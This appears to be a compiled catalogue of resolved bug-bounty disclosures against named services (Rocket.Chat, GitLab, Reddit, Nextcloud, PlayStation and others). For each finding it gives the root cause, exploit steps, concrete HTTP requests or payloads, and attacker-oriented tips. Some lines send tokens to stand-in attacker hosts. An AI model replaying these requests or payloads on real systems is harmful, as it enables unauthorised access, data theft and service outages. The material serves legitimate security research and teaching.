Insight — On gateway/reverse-proxy login pages driven by x-* routing params, fuzz the path param with traversal and watch whether an error path drops auth enforcement. BMC Remedy AR System / mid-tier login.jsp is a recurring target.
Real-world example
Missing admin check on app install/activate endpoints -> non-admin installs and enables arbitrary app
◆ Critical
Specimen #491892 · rocket_chat · none · 9 votes · resolved
Program rocket_chatSurface apiChain non-admin app install -> activate via status API -> ma
Root cause
Rocket.Chat does not restrict app management to admins: a normal user can reach /admin/app/install to upload any app, and because the app ID is taken from the attacker-controlled app.json, they can then activate it via POST /api/apps/<id>/status, achieving full app install/enable (path to malicious code execution in the platform).
Method
- As a non-admin user, open /admin/app/install and upload an app package
- Read the app ID (controlled by app.json)
- POST status manually_enabled to /api/apps/<id>/status to activate it
POST /api/apps/<ID_of_installed_app>/status HTTP/1.1
Content-Type: application/json
X-User-Id: <uid>
X-Auth-Token: <token>
{"status":"manually_enabled"}
Insight — Admin console routes and their backing APIs often assume the UI hid them from non-admins. Test /admin/* endpoints and their state-change APIs directly with a low-priv session. Attacker-controlled resource IDs (from an uploaded manifest) compound the issue.
Real-world example
CTF chain of reusable primitives: base64 IDOR, cookie admin-flag privesc, recursive str_replace LFI bypass, second-order SQLi, DNS rebinding
◆ Critical
Specimen #1067912 · h1-ctf · none · 9 votes · resolved
Program h1-ctfSurface webChain base64 IDOR -> sessions leak -> uuid IDOR -> cookie
Root cause
A CTF, but each stage is a transferable access-control/logic primitive: trusting a base64-encoded id in the URL (IDOR to id=1), a client-side authorization flag in a base64 cookie ({admin:false}->true) to unlock admin content, a single-pass str_replace blacklist defeated by nesting, a nested-template file include, second-order boolean SQLi, and DNS rebinding to defeat a localhost blacklist.
Method
- IDOR: decode base64 id param (eyJpZCI6M30 = {"id":3}), change to 1, re-encode -> other users' data
- Info leak -> IDOR: an unauth /sessions endpoint leaks a uuid; feed it to /user?uuid=... for PII
- Privesc: flip {"cookie":"..","admin":false} to admin:true in the base64 session cookie to gain admin downloads
- LFI filter bypass: str_replace strips 'admin.php'/'secretadmin.php' once, so nest it: secretadsecretadmiadmin.phpn.phpmin.php resolves to secretadmin.php
- Template-include & second-order blind SQLi (set name payload, trigger via score request) to extract admin creds
- DNS rebinding: use rbndr.us (e.g. cb0071d5.7f000001.rbndr.us) to pass an IP allowlist check then resolve to 127.0.0.1 at use time
# client-side authorization flag in cookie
{"cookie":"...","admin":false} -> {"cookie":"...","admin":true}
# recursive str_replace blacklist bypass (strips substring only once)
secretadsecretadmiadmin.phpn.phpmin.php -> secretadmin.php
# DNS rebinding host to bypass localhost blacklist
cb0071d5.7f000001.rbndr.us # alternates 203.0.113.213 / 127.0.0.1
Insight — Decode and tamper every base64 id/flag in URLs and cookies (IDOR + client-side authz). Blacklists that str_replace once are defeated by nesting the forbidden token. Salted-hash gates (md5($pass.$ip)) are crackable with hashcat -m 10. IP allow/deny checks that re-resolve the host at use time are bypassable with DNS rebinding (rbndr.us / TOCTOU).
Real-world example
Auth bypass via mode=public parameter (FileCloud)
◆ Critical
Specimen #683024 · deptofdefense · none · 8 votes · resolved
Program deptofdefenseSurface webChain unauth file explorer -> arbitrary upload -> malware hoTag file-upload
Root cause
An app that requires authentication on its main UI exposes the same file-explorer with full read/write when a mode=public request parameter is appended, skipping the auth gate.
Method
- Identify auth-gated app (here FileCloud /ui/core/index.html)
- Append ?mode=public and a fragment path to the explorer
- Create directories and upload arbitrary files (incl. .exe) unauthenticated
https://TARGET/ui/core/index.html?mode=public#expl-tabl./SHARED/rpchllmd/CSAT
Insight — When an app enforces auth on one entry point, fuzz for alternate 'public/guest/anonymous/mode=' parameters and endpoints that expose the same functionality. Product-specific defaults (FileCloud public share mode) are worth learning per-vendor.
Real-world example
Filter-bypass and record-overflow escalations (CTF chain)
◆ Critical
Specimen #1069034 · h1-ctf · none · 4 votes · resolved
Program h1-ctfSurface webChain LFI filter bypass -> admin template include; cookie adminTag account-takeover
Root cause
Multiple independent flaws, most instructive: a non-recursive str_replace blacklist on a template/LFI param, and a fixed-width user record where PHP intval() accepts scientific notation to defeat a length check and overflow the record so the admin flag byte becomes 'Y'.
Method
- LFI: bypass str_replace('admin.php','') / str_replace('secretadmin.php','') by nesting keywords so removal reassembles the target: secretadmsecretadmadmin.phpin.phpin.php -> secretadmin.php
- Cookie tampering: flip {"admin":false} -> {"admin":true} in a client-side cookie to reach hidden files
- Template/SSTI: inject {{template:38dhs_admins_only_header.html}} via the less-obvious 'name' field (not the guarded preview_data) to include an admin-only template
- Record overflow to admin: signup age=1e5 (passes is_numeric and strlen<=3, intval->100000) plus a long lastname of Y's pushes 'Y' to offset 112 so buildUsers() parses admin=true
- SSRF via localhost filter bypass: use DNS rebinding (rbndr.us, e.g. 01020304.7f000001.rbndr.us) to pass the 127.0.0.1 check then resolve to loopback
# non-recursive blacklist bypass
template=secretadmsecretadmadmin.phpin.phpin.php
# intval scientific-notation length/overflow bypass
age=1e5&lastname=YYYYYYYYYYYYYYYYYYYYYYYYYYYYY
# DNS-rebinding SSRF localhost bypass
{"target":"01020304.7f000001.rbndr.us","hash":"..."}
Insight — Blacklist string-replace filters that run once are defeated by nesting the forbidden token inside itself; is_numeric()+intval() accept 1e5 so numeric length checks can be bypassed to overflow fixed-width records; SSRF host allowlists that block 127.0.0.1 by string are bypassed with DNS rebinding.
Real-world example
PII (email) disclosure via GraphQL mutation missing legacy ACL
◆ High
Specimen #792927 · security · awarded · 670 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
An invitation object migrated from REST to GraphQL; the REST ACL that hid the invitee email when invited by username was not reimplemented on the new GraphQL protection layer, so addReportParticipant returns the target's email.
Method
- Create a test program + report, grab its integer report_id
- Base64 the GID gid://hackerone/Report/<id>
- Call addReportParticipant with the victim username and read invitation{email} from the response
POST /graphql
{"query":"mutation($input_0:AddReportParticipantInput!){addReportParticipant(input:$input_0){...F1}} fragment F1 on AddReportParticipantPayload{invitation{email,token}}","variables":{"input_0":{"report_id":"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC82MjYzNzE=","email":"x","username":"jobert"}}}
Insight — When an app is mid-migration from REST to GraphQL, re-test every object that used to be ACL-guarded: authorization is enforced per-resolver and old rules routinely fail to carry over. Enumerate mutation payload sub-fields (email, token) that shouldn't be readable.
Real-world example
Path-based auth bypass to admin resources (Saba .rdf pages)
◆ Critical
Specimen #1326352 · deptofdefense · none · votes · resolved
Program deptofdefenseSurface webChain path/URL normalization discrepancy -> admin context ->Tag account-takeover
Root cause
The Saba LMS resolved certain URL paths in a way that granted an ordinary/low-priv user administrator context and let admin resources under /Saba/Web_wdk/.../platform/system/admin/*.rdf be reached directly without an admin session. A trailing-slash-sensitive path (with vs without '/') changed the effective authorization.
Method
- Log in with a normal account (or reach the app unauthenticated)
- Navigate directly to an admin path such as /Saba/Web/ADMIN (note: WITHOUT trailing slash, per reporter) to land as 'Saba Administrator'
- Or request admin .rdf resources directly: /Saba/Web_wdk/.../platform/system/admin/systemMain.rdf , usersStatistics.rdf
GET /Saba/Web_wdk/PREFIX/platform/system/admin/systemMain.rdf HTTP/1.1
GET /Saba/Web_wdk/PREFIX/Platform/system/admin/usersStatistics.rdf HTTP/1.1
# also: /Saba/Web/ADMIN (no trailing slash) grants 'Saba Administrator' context
Insight — Forced-browse directly to internal admin resource paths (*.rdf, /admin/*) rather than through the UI; access control is often enforced only on the nav flow, not the resource. Try both trailing-slash and no-trailing-slash forms and case variants (platform vs Platform) - normalization differences flip the authorization decision.
Real-world example
Export/print feature bypasses field-level disclosure authz
◆ High
Specimen #182358 · security · 12500 · 354 votes · resolved
Program securitySurface web
Root cause
New bulk 'Export as .zip' features rebuilt report content through a separate code path that ignored the limited-disclosure/internal authz applied in the normal UI, dumping hidden comments and internal attachments; inline attachment IDs were also guessable.
Method
- Find new export/download/print/PDF/zip features
- Export a resource whose fields are partially hidden in the UI
- Inspect the export for content the UI suppressed (internal comments, attachments)
- Probe attachment identifiers for predictability/enumeration
GET /reports/<partially-disclosed-id> -> Export as .zip -> unzip and read hidden comments/attachments
Insight — Alternate rendering pipelines (export/zip/print/PDF/API) are notorious for skipping the field-level authorization enforced in the main view. Test every new bulk-export feature against restricted resources.
Real-world example
Confused-deputy: bind a new integration to another tenant's enumerable ID
◆ Critical
Specimen #1952124 · cloudflare · $3300 · 96 votes · resolved
Program cloudflareSurface webChain Enumerate tenant id -> create integration -> read victTag oauth
Root cause
A SaaS (CASB) let a user create an integration pointing at a tenant identified only by an enumerable value (MS tenant UUID / domain, GitHub installation_id) without proving control of that tenant, so an attacker could bind their own integration to a victim tenant and surface its data (confused deputy).
Method
- Enumerate/guess a valid target identifier already onboarded by a real customer (MS tenant UUID or domain, or GitHub installation_id)
- In your own account, create a new integration of the same type pointing at that identifier
- The platform's trust in its own OAuth app surfaces the victim tenant's sensitive data to you
Insight — Any 'connect your GitHub/Microsoft org' flow that identifies the target by a guessable id and doesn't verify the requester controls that org is a confused-deputy candidate. Test: create a second integration pointing at an id you don't own. Fix pattern was 'disallow multiple integrations to the same tenant'.
Real-world example
Exposed reverse proxy reaches internal vhosts via Host header
◆ High
Specimen #2967634 · reddit · 7500 · 291 votes · resolved
Program redditSurface webTag account-takeover
Root cause
An internet-exposed proxy forwards requests to whatever internal virtual host is named in the Host header, granting access to internal-only domains (e.g. snoo.dev).
Method
- Find the exposed proxy (IP:port)
- Send a request through it with the Host header set to an internal domain
- Internal content is returned
curl --insecure https://52.90.28.77:30920/reddit --header "Host: <INTERNAL_DOMAIN>"
Insight — When you find an open proxy/edge, fuzz the Host header with internal domains discovered via cert transparency (censys/crt.sh) and org GitHub code search (e.g. *.dev, *.internal). Routing is often vhost-based with no authz on internal names.
Real-world example
Anonymous read of private report titles via GraphQL when pending invite exists
◆ High
Specimen #2312029 · security · awarded · 251 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
When a private report has a pending EMAIL collaboration invite, the report object's title becomes readable to anonymous (logged-out) users through the GraphQL report(id) query.
Method
- On a victim report, add a collaborator by email (pending invite) via Manage Collaborators
- In a logged-out session, query report(id:<int>){title} directly or via the hacktivity CSRF token + fetch
{ report(id: <PRIVATE_REPORT_ID>) { id url title } }
Insight — Pending/invite states frequently widen ACLs unexpectedly. Re-test object read permissions in every invite lifecycle state (pending email invite vs accepted) and as an ANONYMOUS user, not just cross-account.
Real-world example
Expired reshare link fails open and widens scope to parent folder
◆ Critical
Specimen #452854 · nextcloud · awarded · 38 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
After a public reshare link for a subfolder expires, the expiry handling grants access to the original (parent) share instead of denying, so an expired narrow link becomes a broad one.
Method
- Share folder A with a group.
- Reshare subfolder B as a public link with an expiry date.
- Let the link expire.
- Open the expired link -> instead of an 'expired' message you get access to all files in parent folder A.
Insight — Test share/link expiry as a state transition, not just a boolean. An expired or revoked link may fail open and even broaden scope (subfolder -> parent). Always wait past expiry and re-open old links.
Real-world example
Discoverability privacy bypass via login-flow duplication-check subtask
◆ High
Specimen #1439026 · x · 5040 · 215 votes · resolved
Program xSurface apiTag account-takeover
Root cause
The Twitter Android login flow's AccountDuplicationCheck subtask returns the user_id for a submitted phone/email regardless of the account's 'let people find me' privacy setting, enabling email/phone -> user_id (≈username) enumeration for any user.
Method
- POST onboarding/task.json?flow_name=login to get a flow_token
- POST the flow_token with subtask LoginEnterUserIdentifier and the target email/phone as text
- Read user_id from the returned AccountDuplicationCheck subtask
POST /1.1/onboarding/task.json
{"flow_token":"<TOKEN>","subtask_inputs":[{"enter_text":{"text":"<VICTIM_EMAIL_OR_PHONE>","link":"next_link"},"subtask_id":"LoginEnterUserIdentifier"}]}
# response -> subtasks[].check_logged_in_account.user_id
Insight — Multi-step auth/onboarding flows expose many intermediate subtasks (duplication check, password-reset lookup) that resolve identifiers while ignoring privacy toggles enforced only in the main UI. Diff mobile-client flows against web and probe each subtask with a target identifier.
Real-world example
Private code/MRs/commits leaked through group search index
◆ High
Specimen #692252 · gitlab · awarded · 211 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Group-level search returns results from projects whose code/MRs are set 'not public', even to logged-out users — the search backend does not apply per-object visibility (CVE-2019-5487).
Method
- Find a public group containing a public project with private code
- Logged out, use group search scoped to merge_requests / blobs / commits
- Use wildcard search (*) filtered by group_id/project_id to dump all private MRs
https://gitlab.com/search?scope=merge_requests&search=*&group_id=<GID>&project_id=<PID>
https://gitlab.com/search?scope=blobs&search=<known_private_string>&group_id=<GID>
Insight — Search, export, RSS, and API listing endpoints are notorious for indexing content without re-checking object-level ACLs. When a resource is private, try to reach it through the search index with wildcards and scope filters, unauthenticated.
Real-world example
Self-registered user reads org-wide PII via Salesforce-style Related-List / (i) user lookup
◆ Critical
Specimen #808338 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A self-service portal (Salesforce Experience/Community-style) exposes the full User object to any authenticated account through 'Related Lists' and the record-info (i) icon, so an internet-registered low-priv user can enumerate every user's PII (name, email, address, phone).
Method
- Self-register an account on the open portal
- Open your profile / a department record and click the (i) info icon next to a lookup field (e.g. Department -> Related Lists -> Users)
- Click 'All' / the Users related list to list every user object, or type a name in the Select User field and open the (i) record view
- Read the full PII surfaced for arbitrary users
Insight — On Salesforce/ServiceNow/Dynamics community portals, test whether the standard User object and record 'related lists' or the (i) detail popup are exposed to self-registered users. The UI hiding a list does not mean the object-level ACL is enforced; walk lookup/info widgets to dump directories.
Real-world example
Missing function-level authz (BFLA) on GraphQL mod-log query + pagination exfil
◆ High
Specimen #1658418 · reddit · 5000 · 159 votes · resolved
Program redditSurface graphqlTag graphql
Root cause
The mod-logs GraphQL query does not verify the caller is a moderator of the requested subreddit; the subredditName variable is fully attacker-controlled.
Method
- Authenticate as any user, grab bearer token
- POST the mod-log persisted query to gql.reddit.com with subredditName = target
- Read one page; if hasNextPage true, resend with variables.after = endCursor
- Loop until hasNextPage is false to dump all mod logs
{"id":"6243efcbc61d","variables":{"subredditName":"TARGET_SUB"}}
// paginate
{"id":"6243efcbc61d","variables":{"subredditName":"TARGET_SUB","after":"END_CURSOR_FROM_PREV"}}
Insight — Privileged/role-gated GraphQL reads often check the UI, not the API. Supply any target entity name and walk relay pagination (endCursor/hasNextPage) to exfiltrate the full dataset.
Real-world example
Private commit/comment leak through notification emails
◆ High
Specimen #502593 · gitlab · awarded · 350 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Notification/subscription delivery does not re-check project visibility ('Only Team Members'); a non-member who subscribes to a user's activity receives emails containing private commit titles and team-member comments.
Method
- As attacker, open the victim user's profile and subscribe to all their events
- As victim, comment on any commit in an internal project
- Attacker receives an email exposing the commit message, comment text and commenter identity
Insight — Notification/email/webhook pipelines are a parallel data path that frequently skips the object-level authz enforced in the UI. After finding a private resource, check whether subscribing, @-mentioning, or event-following delivers its contents out-of-band.
Real-world example
Unauthenticated federated-share permission escalation via forged OCM notification
◆ High
Specimen #1170024 · nextcloud · awarded · 142 votes · resolved
Program nextcloudSurface apiChain read-only share -> forged OCM permission-change -> wriTag webhook
Root cause
Nextcloud's Open Cloud Mesh /ocm/notifications endpoint accepts an anonymous RESHARE_CHANGE_PERMISSION notification that only requires the share's sharedSecret (token). An attacker who legitimately holds a read-only federated share knows that token and can escalate their own permissions to write/share.
Method
- Obtain any read-only public/federated link and 'add to my Nextcloud'
- Accept the share; read remote id (providerId) and token from oc_share_external
- POST a forged RESHARE_CHANGE_PERMISSION to the origin server with those values and desired permissions
- Enjoy read+write+share on a share that was granted read-only
curl -X POST https://victim/index.php/ocm/notifications -H 'Content-Type: application/json' -d '{"notificationType":"RESHARE_CHANGE_PERMISSION","resourceType":"file","providerId":2,"notification":{"sharedSecret":"<TOKEN>","permission":["read","write","share"]}}'
Insight — Server-to-server/federation callback endpoints (webhooks, OCM, SCIM) are often unauthenticated beyond a shared token the recipient already possesses, and they trust attacker-supplied permission fields. Test whether a share recipient can call the origin's notification API to grant themselves higher permissions.
Real-world example
Extension 'socket' command opens credentialed WebSocket to any origin
◆ High
Specimen #395729 · superhuman · awarded · 139 votes · resolved
Program superhumanSurface webTag account-takeover
Root cause
A postMessage-driven 'socket' command in the Grammarly extension let a page make the background page open a WebSocket (wss, with cookies) to an arbitrary URL and process commands returned by the attacker's WS server; CORS/SOP do not apply to WebSockets so this bypassed same-origin protection.
Method
- From a page, send the extension's socket 'connect' command with attacker url
- Background page opens wss to attacker (or to internal friendly endpoints) carrying cookies
- Send/receive data; connect to app WS endpoints (e.g. document-edit WS) as the victim
// page -> content script -> background: socket connect
{grammarly:true, action:'socket', method:'connect', arg:{url:'wss://attacker/'}}
// then method:'send' with attacker-controlled arg
Insight — WebSockets ignore CORS - only the server's Origin check protects them. A confused-deputy (extension/background page) that lets a page choose the WS URL sends the victim's cookies cross-origin. Audit WS-opening command handlers.
Real-world example
Premium-only setting enforced client-side (disable ads)
◆ High
Specimen #3183520 · pixiv · 3000 · 113 votes · resolved
Program pixivSurface web
Root cause
The 'disable ads' preference was gated to premium users only in the UI, but /_api/update_user_setting did not verify premium status (and didn't validate Content-Type), so any authenticated user could set showAds:false.
Method
- Log in as a non-premium user on dic.pixiv.net
- POST /_api/update_user_setting with {"setting":{"showAds":false,"showNewUI":true}}
- {success:true}; ads now disabled despite no subscription
POST /_api/update_user_setting
{"setting":{"showAds":false,"showNewUI":true}}
Insight — Paywalled/tier-gated features are often enforced only by hiding the control. Call the underlying settings/mutation endpoint directly as a free/low-tier user and set the premium flag; also try loosened Content-Type since many endpoints don't validate it.
Real-world example
Exported Android deeplink -> WebView loads attacker URL without host check (token theft)
◆ High
Specimen #532225 · eternal · 750 · 113 votes · resolved
Program eternalSurface mobile-androidChain exported deeplink -> WebView open-redirect -> access-tTag account-takeover
Root cause
An exported activity (DeepLinkRouter, exported=true) routed a custom-scheme deeplink into a WebView; for one path (zloyaltywebview with navigation_bar_type=transparent) it skipped the host allowlist and loaded the attacker-supplied url param, leaking the app's access token to an arbitrary origin.
Method
- Decompile app, find exported activity handling custom scheme
- Map code path that loads a url param into WebView bypassing host check
- From a malicious app/HTML, fire the intent/deeplink with url pointing to attacker sniffer
Intent i=new Intent("android.intent.action.VIEW");
i.setData(Uri.parse("zomatodelivery://zloyaltywebview/?url=https://attacker/sniffer.php&navigation_bar_type=transparent"));
startActivity(i);
<!-- or --> <a href="zomatodelivery://zloyaltywebview/?url=https://attacker/sniffer.php&navigation_bar_type=transparent">go</a>
Insight — For any exported=true activity, decompile and trace user-controlled deeplink params into WebView.loadUrl. A branch that skips the host allowlist (feature flags like navigation_bar_type) lets you load attacker URLs and exfiltrate Authorization headers/tokens.
Real-world example
ACL 'can view' used as 'can reference' -> dupe to arbitrary program's report
◆ High
Specimen #2516250 · security · awarded · 106 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Closing a report as duplicate only checked can?(:view, original_report); limited-disclosure reports and same-org reports also pass that view ACL, so a program member can mark their report duplicate of an unrelated/other-program report.
Method
- As a member with report access in a sandbox program, close a report as duplicate
- Intercept POST /reports/bulk
- Set original_report_id to an unrelated program's (even private/limited-disclosure) report id
- 200 OK - report closed as duplicate of the foreign report
POST /reports/bulk HTTP/2
Host: hackerone.com
X-Csrf-Token: <token>
message=s&substate=duplicate&original_report_id=<FOREIGN_ID>&reply_action=close-report&reports_count=1&report_ids%5B%5D=<your_report>&bounty_currency=USD
Insight — A 'can view' permission is not a 'can associate/reference' permission; wherever an id is accepted for linking/duplicating, confirm the authz check matches the action's real trust requirement, not merely visibility.
Real-world example
BFLA on user-invite endpoint: act on behalf of another admin / assign restricted role
◆ High
Specimen #1474536 · 8x8-bounty · awarded · 105 votes · resolved
Program 8x8-bountySurface apiTag account-takeover
Root cause
The invite endpoint keys the acting admin off a user id in the path (/api/v1/users/<User ID>/invites) without verifying the caller IS that user; it also failed to restrict which roles could be invited, enabling privilege escalation.
Method
- Capture the invite request POST /api/v1/users/<your id>/invites
- Change <User ID> in the path to another admin's id -> invite is sent on their behalf
- Extend to assign a restricted role (User Management) that should be blocked
POST /api/v1/users/<OTHER_ADMIN_ID>/invites HTTP/1.1
Host: connect.8x8.com
{...invite body, target role = User Management...}
Insight — When a user id sits in the path of a state-changing endpoint, test acting as/for another user (BFLA); combine with unvalidated role parameters to escalate the invitee's privileges.
Real-world example
Search index leaks cross-tenant private objects
◆ High
Specimen #708820 · gitlab · awarded · 100 votes · resolved
Program gitlabSurface webTag graphql
Root cause
When Elasticsearch is enabled, group search returns merge requests, issues and note activity from unrelated private groups because the search layer does not re-apply per-object authorization; the UI hides most of it but the API returns full data.
Method
- Perform a group-scoped search, e.g. scope=merge_requests with search=!435 & group_id=<yours>
- Paginate to the end; observe MRs from groups you have no access to
- Repeat via API (scope=merge_requests/notes) to harvest far more private metadata
- Note that '!' + arbitrary numbers reliably surfaces other groups' MR references
GET /search?scope=merge_requests&search=!435&group_id=9970\nGET /search?scope=notes&search=<term>&group_id=9970 # leaks private issue-link activity
Insight — Search/indexing features are a classic authz blind spot: the index is built without tenant scoping. Always test search endpoints (esp. their APIs, which return more than the UI) for cross-tenant/private object leakage; probe with reference syntaxes like !123, #123.
Real-world example
Origin allowlist bypass via unanchored regex (missing line terminator)
◆ High
Specimen #2585855 · metamask · awarded · 89 votes · resolved
Program metamaskSurface otherChain Origin spoof -> restricted Snaps API (exportAccount) acceTag cors
Root cause
The Snaps allowedOrigins check builds a regex without a proper end anchor/line terminator, so an attacker-controlled origin string can append/prefix extra characters and still match, defeating origin restriction (up to calling Keyring exportAccount).
Method
- Identify where the target validates origin/host with a regex built from a config value
- Test whether the pattern is anchored (^...$) and whether newlines/extra path/subdomain segments still match
- Craft a malicious origin that satisfies the unanchored pattern
// e.g. allowedOrigins regex like /https:\\/\\/allowed\\.com/ (no $ anchor)\n// attacker origin: https://allowed.com.evil.com or with %0A/newline injection still matches
Insight — Audit every origin/host/redirect allowlist for regex anchoring. Missing ^ or $ (or unescaped dots, missing \\A/\\z in Ruby, ignoring newline with /m) turns an allowlist into a substring match. Try suffix (allowed.com.evil.com), prefix, and newline payloads.
Real-world example
Public invite API lets attacker mint internal super-admin
◆ High
Specimen #836081 · line · awarded · 87 votes · resolved
Program lineSurface apiTag account-takeover
Root cause
The /admins API endpoint must be public so customers can invite users, but it lacks checks on the privilege level being granted, so an attacker can create 'super'-admin accounts intended only for internal use.
Method
- Locate the public admin-invite/creation endpoint (/admins)
- Submit a create request specifying an elevated/internal role value
- Server accepts it and provisions a super-admin account
POST /admins { "email":"attacker@...", "role":"super-admin" } // role/level not restricted server-side
Insight — When a creation endpoint must be public for legitimate low-priv use (invite user), test whether the role/privilege field is authorization-checked. Attempt to set internal/elevated role values - mass-assignment of a privilege field is common.
Real-world example
Under-privileged role can read/create/overwrite secrets (BFLA)
◆ High
Specimen #3103755 · dust · none · 83 votes · resolved
Program dustSurface apiChain BFLA on secrets -> overwrite API keys/tokens -> downstTag account-takeover
Root cause
The dust_app_secrets endpoints don't enforce role checks, so a Builder (not meant to manage secrets) can list all secret names, create secrets, and silently overwrite an existing secret's value by POSTing the same name.
Method
- As a Builder, GET the secrets endpoint to enumerate all secret names
- POST a secret with a name that already exists to overwrite its value
- POST a new name to create arbitrary secrets
GET /api/w/<workspace_id>/dust_app_secrets\nPOST /api/w/<workspace_id>/dust_app_secrets {"name":"EXISTING_NAME","value":"malicious-value"}
Insight — For every role below admin, test the admin-scoped resource endpoints directly (secrets, members, billing, integrations). List+create+update on secrets by a builder/editor is a high-impact BFLA; overwrite-by-name enables config/credential tampering and supply-chain-style attacks.
Real-world example
Arbitrary write to GCS-backed CDN via PUT with blank Content-Type -> stored XSS
◆ High
Specimen #452559 · vimeo · awarded · 76 votes · resolved
Program vimeoSurface cloudChain CDN arbitrary file overwrite -> stored XSS on embed.vhx.tTag cloud-gcpTag file-upload
Root cause
A Google Cloud Storage bucket fronting a JS-delivery CDN accepted anonymous PUT when Content-Type was blank or application/octet-stream (other types triggered a GCS auth error), letting anyone create or overwrite served .js files.
Method
- Identify a CDN host serving JS for in-scope apps (vpe.cdn.vimeo.tv)
- Send an HTTP PUT for a .js path with Content-Type blank or application/octet-stream
- Overwrite an existing script or create a new one containing JS; it is then served to all customers as same-origin script
PUT /something.js HTTP/1.1
Host: vpe.cdn.vimeo.tv
Content-Type: application/octet-stream
Content-Length: 22
Connection: close
alert(document.domain)
Insight — On any storage-backed CDN, probe the write verbs (PUT/POST/DELETE) and vary Content-Type - misconfigured bucket ACLs frequently allow anonymous writes only under a specific/blank content type. Overwriting a served .js gives stored XSS on every consumer origin.
Real-world example
State-change endpoint accepts self-issued 'accept' on another party's order
◆ High
Specimen #1960107 · indrive · awarded · 72 votes · resolved
Program indriveSurface apiChain forced order-accept -> passenger PII disclosure + price mTag account-takeover
Root cause
The ride-status transition endpoint (/api/setTenderStatus?status=accept) does not verify that the caller is the passenger who owns the order; a driver, using tender_id/order_id learned from their own bid request, forces the passenger to 'accept', bypassing the two-sided negotiation and revealing passenger PII.
Method
- Driver sends a normal bid via /api/driverrequest and captures tender_id + order_id from the response
- Driver calls /api/setTenderStatus with status=accept for that tender_id/order_id
- The order is auto-accepted on the passenger's behalf, exposing passenger phone/PII even without the passenger accepting
- Chain: also tamper the price field in the bid request to force an out-of-range fare
curl 'https://terra-akamai.indriverapp.com/api/setTenderStatus?cid=5957&locale=en_US&token=<TOKEN>&tender_id=<TENDER>&order_id=<ORDER>&status=accept'
Insight — For any accept/confirm/approve action in a multi-party workflow, test whether the initiating party can perform the counterparty's transition. IDs needed for the forced transition are often handed to you in an earlier legitimate response. Combine with price/param tampering for a business-impact chain.
Real-world example
Cross-repo code disclosure via compare/diff functionality
◆ High
Specimen #3124517 · github · 10000 · 270 votes · resolved
Program githubSurface web
Root cause
GitHub Enterprise Server's compare/diff between two repositories did not fully authorize the second repo, letting a user with access to any repo retrieve limited code from a target private repo by diffing against it.
Method
- Know the target private repo name plus a branch/tag/commit SHA
- Trigger compare/diff between a repo you control and the target
- Retrieve limited code content returned by the diff without proper authorization
Insight — Compare/diff/merge/preview features take TWO object references - the second is often under-authorized. General primitive: any operation over a pair of resources may only check the one you own. CVE-2025-8447. Limited disclosure; mechanism per advisory.
Real-world example
DDP method twin of a fixed REST endpoint still leaks any message
◆ High
Specimen #3734326 · rocket_chat · none · 70 votes · resolved
Program rocket_chatSurface api
Root cause
autoTranslate.translateMessage DDP method accepts a client-supplied IMessage object and passes it to translateMessage() without checking Meteor.userId() or room membership; the parallel REST endpoint was fixed with canAccessRoomAsync but the DDP method was missed.
Method
- Authenticate over DDP (websocket)
- Call autoTranslate.translateMessage passing an IMessage referencing any message id from any private channel/DM/E2EE room
- The method returns that message's content
DDP method.call autoTranslate.translateMessage (client-supplied IMessage { _id, rid, msg } for a foreign room)
Insight — When a REST endpoint gets an authz fix, check its transport twins (DDP/websocket/GraphQL/internal RPC) for the same missing check. Methods that accept a fully client-supplied object (IMessage) rather than fetching it server-side skip the room/ownership gate.
Real-world example
Case-manipulate an identifier to bypass a uniqueness check (confused-deputy re-exploit)
◆ High
Specimen #2094346 · cloudflare · awarded · 68 votes · resolved
Program cloudflareSurface webTag cloud-azure
Root cause
A prior confused-deputy fix keyed its 'integration already exists' check on the exact-case tenant UUID; changing the casing produced a 'new' key that slipped past the check and re-created a malicious integration surfacing another tenant's data.
Method
- Identify a uniqueness/dedup constraint keyed on a user-supplied identifier
- Enumerate a valid target tenant UUID
- Resubmit with altered casing (or other canonicalization difference) to defeat the exact-match check
- A duplicate integration is created, re-triggering the original confused-deputy exposure
tenant_uuid = ABCD-EF... (original)
tenant_uuid = abcd-ef... (case-flipped -> treated as new -> bypasses uniqueness)
Insight — When a patch adds a uniqueness/one-per-tenant constraint, test case-folding and other canonicalization variants (URL-encoding, trailing dot, unicode) of the key; case-sensitive checks over case-insensitive backends are re-exploitable.
Real-world example
Read-only role escalates to admin via direct API PUT (UI-only restriction)
◆ High
Specimen #277138 · inflection · awarded · 51 votes · resolved
Program inflectionSurface api
Root cause
The UI hides the users page from read-only users, but the backing API enforces no authorization on the privilege-change endpoint; a read-only user can PUT to the API and change their own permissions to admin.
Method
- Log in as a read-only user.
- Locate the user/permission update API call (observed in an admin session or guessed by convention).
- Send a PUT changing your own role to admin.
PUT /api/users/<own_id> HTTP/1.1
Host: TARGET
Content-Type: application/json
{"role":"admin"}
Insight — UI hiding is not access control. For every action absent from a low-priv UI, reconstruct the API call (from docs, another role's traffic, or REST conventions) and send it directly — self-role-change via PUT is a frequent finding.
Real-world example
Unauthenticated state-change API triggers app quiesce (DoS)
◆ High
Specimen #993722 · playstation · 1000 · 49 votes · resolved
Program playstationSurface api
Root cause
A REST endpoint controlling application lifecycle state accepted an unauthenticated PUT setting appState=quiesce, taking the service offline; missing authorization on a control-plane function.
Method
- Locate a state/lifecycle endpoint (GET /api/application/state)
- Change the method to PUT and supply a JSON state body
- Send; service returns 502 within ~15s and stays down
PUT /api/application/state HTTP/1.1
Host: dss.api.playstation.com
Content-Type: application/json
Content-Length: 22
{"appState":"quiesce"}
Insight — On admin/control-plane REST APIs, probe verbs beyond GET (PUT/POST/PATCH) on *state*, *config*, *lifecycle*, *maintenance* endpoints; unauthenticated state writes can quiesce/restart/kill the service.
Real-world example
Missing function-level authz on calendar-integration API (BFLA)
◆ High
Specimen #1486310 · 8x8-bounty · awarded · 48 votes · resolved
Program 8x8-bountySurface apiTag oauth
Root cause
A 'member' role had no UI access to the admin Rooms area, but the backing API GET /meet-external/spot-roomkeeper/v1/calendar/auth/init enforced no role check, letting a member's JWT drive the admin-only calendar/email OAuth binding.
Method
- Observe the admin-only feature (Rooms calendar sync) and capture the API call an admin makes
- Replay the request using a low-priv member's JWT
- Receive the OAuth authorize URL and complete the flow
